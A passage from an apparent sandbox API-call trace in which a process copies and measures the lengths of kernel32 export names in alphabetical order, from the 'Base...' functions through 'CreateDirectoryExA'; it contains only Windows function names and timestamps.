returned="BaseInitAppcompatCacheSupport" [0099.906] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0099.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0099.906] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0099.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0099.906] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0099.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0099.906] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0099.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0099.906] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0099.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0099.906] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0099.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0099.906] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0099.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0099.907] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0099.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0099.907] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0099.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0099.907] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0099.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0099.907] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0099.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0099.907] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0099.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0099.907] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0099.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0099.907] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0099.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0099.907] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0099.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0099.907] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0099.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0099.907] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0099.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0099.907] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0099.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0099.907] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0099.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0099.907] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0099.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0099.907] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0099.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0099.907] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0099.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0099.908] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0099.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0099.908] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0099.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0099.908] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0099.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0099.908] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0099.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0099.908] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0099.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0099.908] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0099.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0099.908] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0099.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0099.908] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0099.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0099.908] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0099.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0099.908] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0099.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0099.908] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0099.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0099.908] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0099.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0099.908] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0099.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0099.908] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0099.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0099.908] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0099.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0099.908] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0099.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0099.908] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0099.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0099.909] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0099.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0099.909] lstrlenA (lpString="BEEP") returned 4 [0099.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0099.909] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0099.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0099.909] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0099.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0099.909] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0099.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0099.909] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0099.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0099.909] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0099.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0099.909] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0099.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0099.909] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0099.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0099.909] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0099.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0099.909] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0099.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0099.909] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0099.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0099.909] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0099.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0099.909] lstrlenA (lpString="CANCELIO") returned 8 [0099.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0099.909] lstrlenA (lpString="CANCELIOEX") returned 10 [0099.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0099.909] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0099.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0099.910] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0099.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0099.910] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0099.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0099.910] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0099.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0099.910] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0099.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0099.910] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0099.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0099.910] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0099.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0099.910] lstrlenA (lpString="CHECKELEVATION") returned 14 [0099.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0099.910] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0099.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0099.910] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0099.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0099.910] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0099.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0099.910] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0099.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0099.910] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0099.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0099.910] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0099.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0099.910] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0099.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0099.910] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0099.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0099.910] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0099.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0099.910] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0099.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0099.911] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0099.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0099.911] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0099.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0099.911] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0099.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0099.911] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0099.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0099.911] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0099.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0099.911] lstrlenA (lpString="CLOSESTATE") returned 10 [0099.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0099.911] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0099.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0099.911] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0099.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0099.911] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0099.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0099.911] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0099.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0099.911] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0099.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0099.912] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0099.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0099.912] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0099.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0099.912] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0099.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0099.912] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0099.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0099.912] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0099.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0099.912] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0099.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0099.912] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0099.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0099.912] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0099.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0099.912] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0099.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0099.912] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0099.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0099.912] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0099.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0099.912] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0099.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0099.912] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0099.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0099.912] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0099.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0099.913] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0099.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0099.913] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0099.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0099.913] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0099.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0099.913] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0099.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0099.913] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0099.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0099.913] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0099.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0099.913] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0099.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0099.913] lstrlenA (lpString="COPYCONTEXT") returned 11 [0099.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0099.913] lstrlenA (lpString="COPYFILE2") returned 9 [0099.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0099.913] lstrlenA (lpString="COPYFILEA") returned 9 [0099.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0099.913] lstrlenA (lpString="COPYFILEEXA") returned 11 [0099.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0099.913] lstrlenA (lpString="COPYFILEEXW") returned 11 [0099.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0099.914] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0099.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0099.914] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0099.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0099.914] lstrlenA (lpString="COPYFILEW") returned 9 [0099.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0099.914] lstrlenA (lpString="COPYLZFILE") returned 10 [0099.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0099.914] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0099.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0099.914] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0099.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0099.914] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0099.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0099.914] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0099.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0099.914] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0099.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0099.914] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0099.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0099.914] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0099.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0099.914] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0099.914] lstrcpyA (in: 